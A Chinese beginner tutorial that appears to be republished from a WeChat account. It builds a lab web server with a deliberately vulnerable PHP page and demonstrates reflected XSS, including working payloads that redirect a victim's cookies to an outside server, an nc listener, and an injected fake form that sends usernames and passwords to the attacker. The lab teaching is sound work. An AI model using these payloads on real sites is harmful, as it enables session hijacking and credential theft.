XSS基础环境及实验演示教程(适合新手)

admin 2023年5月25日02:15:04评论26 views字数 2589阅读8分37秒阅读模式

XSS基础环境及实验演示教程(适合新手)


前言

    花了一点时间,做了一个“XSS基础环境及实验演示教程”,当然教程很简单,适合刚接触和安全行业的小伙伴去认识了解XSS漏洞,并且上手实操。

         欢迎各位提出问题和作者v一起交流:tomorrow_me-

环境说明:

Kali机器:192.168.2.108
Windows机器:192.168.2.105
为了中间实验过程方便,有时候会利用一台云服务器辅助,实验过程中出现为显示IP的地址或者不为以上两个IP时,均为云服务器。

1、轻级 Web 服务器 + PHP

任务 1. 重新同步包索引文件:

XSS基础环境及实验演示教程(适合新手)

任务 2. 安装轻级和 PHP:
apt-get 安装 lighttpd php php-fpm php-cgi
安装 Lighttpd:
sudo apt-get install lighttpd

XSS基础环境及实验演示教程(适合新手)

安装 PHP 和 FastCGI 进程管理器(php-fpm):
sudo apt-get install php-fpm

XSS基础环境及实验演示教程(适合新手)

安装 PHP CGI 工具(php-cgi):
sudo apt-get install php-cgi

XSS基础环境及实验演示教程(适合新手)

lighttpd配置文件:/etc/lighttpd/conf-available/
启用命令:
sudo lighttpd-enable-modfastcgi-php

XSS基础环境及实验演示教程(适合新手)

最后,重启Lighttpd服务器以使更改生效:
sudo service lighttpd restart

XSS基础环境及实验演示教程(适合新手)





任务 3. 重新加载 lighttpd 守护进程:
a)
service lighttpd force‑reload

XSS基础环境及实验演示教程(适合新手)

任务 4. 从受害者的浏览器检查 Web 服务器是否正在运可访问的。
a) http:// 192.168.2.108

XSS基础环境及实验演示教程(适合新手)

2受XSS攻击的PHP程序

任务 1. 找到您的 lighttpd 络服务器的档根录:
a) lighttpd 络服务器的默认根录是什么?
/var/www/html/
任务 2. 创建一个新的 index.php 文件,这是一个欢迎用户名的简单 PHP 程序。用户名是使用 GET 方法获取的,如以下 PHP 模板所示:XSS基础环境及实验演示教程(适合新手)

XSS基础环境及实验演示教程(适合新手)

XSS基础环境及实验演示教程(适合新手)

a) 将 index.php 文件复制到文档根目录,然后从受害者的浏览器访问该文件。显示的是么词?

XSS基础环境及实验演示教程(适合新手)XSS基础环境及实验演示教程(适合新手)

任务 3. 我们受攻击的 PHP 程序 (index.php) 需要通过 GET 请求的参数(名称)来欢迎用户。
a) 如下所示欢迎用户admin 的URL 是么?
http://192.168.2.108/index.php?username=admin

XSS基础环境及实验演示教程(适合新手)

3、非持久性 XSS 攻击

任务 1. 在受害者的浏览器中,是发送一个简单的字符作为名称参数,而是尝试发送在名称前添加“<h1>”HTML 标记。在 HTML 中,<h1> 标签用于标题,预期结果是一个大的名称。
实验结果如下图所示:

XSS基础环境及实验演示教程(适合新手)

指明实现该目的的完整 URL。
http://192.168.2.108/index.php?username=<h1>admin</h1>
任务 2. 查看受害者浏览器中的源代码。
a) 生成的源代码是么?
如下图:

XSS基础环境及实验演示教程(适合新手)


任务 3. 现在,我们将注入功能强大的 JavaScript 代码,而是注入基本的 HTML 标记。为确保我们的 JavaScript 代码在受害者的浏览器中运,我们将显示一条消息。为此,我们将使用 alert() JavaScript 函数。
a) 提供将在包含消息的 JavaScript 中执 alert() 的恶意 URL 如下图所示被黑客入侵:

XSS基础环境及实验演示教程(适合新手)


url: http://192.168.2.108/index.php?username=%3Cscript%3Ealert(%27hacked%27)%3C/script%3E
任务 4. 查看受害者浏览器中的源代码。
a) 生成的源代码是么?

XSS基础环境及实验演示教程(适合新手)

4、窃取会话cookie

任务 1. 要模拟具有会话 ID 的 Web 服务器,我们可以在 Web 服务器中使用 setcookie PHP 函数。这可以通过将以下内容添加到 index.php 文件来完成:

XSS基础环境及实验演示教程(适合新手)

 

XSS基础环境及实验演示教程(适合新手)

任务 2.在将 sessionID 发送到远程服务器之前,个好的起点是在 JavaScript 中执⾏⼀些检查。使 document.cookie Javascript 属性:
(a)  创建个 URL,在受害者的浏览器中显 cookie 值。为此,请使 alert()

XSS基础环境及实验演示教程(适合新手)

JavaScript 函数和 document.cookie JavaScript 属性。实现该标的 URL 是什么?
url为:http://192.168.2.108/index.php?username=%3Cscript%3Ealert(document.cookie)%3C/script%3E
任务 3.最后,我们要将 cookie 值泄露到远程服务器。
  1. a)  在您的 Kali 机器中,使 nc 具检索渗出数据。阅读⼿册以了解如何运 nc 以侦听端 80。指 nc 侦听端 80 的参数是哪些?

XSS基础环境及实验演示教程(适合新手)

参数 -l 表示监听模式,参数 -v 表示启用详细模式,参数 -p 指定监听的端口号。
  1. b) 使上述可能的 JavaScript 代码之,通过替换“...”来泄露会话 ID,通过适当的 JavaScript 代码。
  2. 192.168.2.108/index.php?username=admin<script>window.location="http://81.68.2.42/cookie.php%3Fcookie="%2Bdocument.cookiei</script>
通过这个代码,可以获取用户的cookie,并且拿到cookie。
http://81.68.2.42/cookie.php是我部署的http服务,cookie.php如下:

XSS基础环境及实验演示教程(适合新手)

它会将窃取的cookie写入当前路径的cookies.txt中;如:

XSS基础环境及实验演示教程(适合新手)

5 注入表单窃取密码

任务 1. 在此任务中,您需要创建一个 URL 以利用 index.php 文件中的 XSS 漏洞。我们需要做的是创建一个伪造的 HTML 表单,向受害者询问用户名和密码。
当受害者按下提交按钮时,凭据将被发送到由攻击者控制的远程服务器。

XSS基础环境及实验演示教程(适合新手)

XSS基础环境及实验演示教程(适合新手)

XSS基础环境及实验演示教程(适合新手) 

指示 nc 监听端口 9090 的参数是么?
参数 -l 表示监听模式,参数 -v 表示启用详细模式,参数 -p 指定监听的端口号。
允许您使用虚假表单窃取和泄(到您的 Kali 机器)受害者的用户名和密码的 URL 是么?
http://81.68.2.42:9090/login.php?username=admin&passowrd=123456

原文始发于微信公众号(安全info):XSS基础环境及实验演示教程(适合新手)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月25日02:15:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS基础环境及实验演示教程(适合新手)http://cn-sec.com/archives/1757632.html

发表评论

匿名网友 填写信息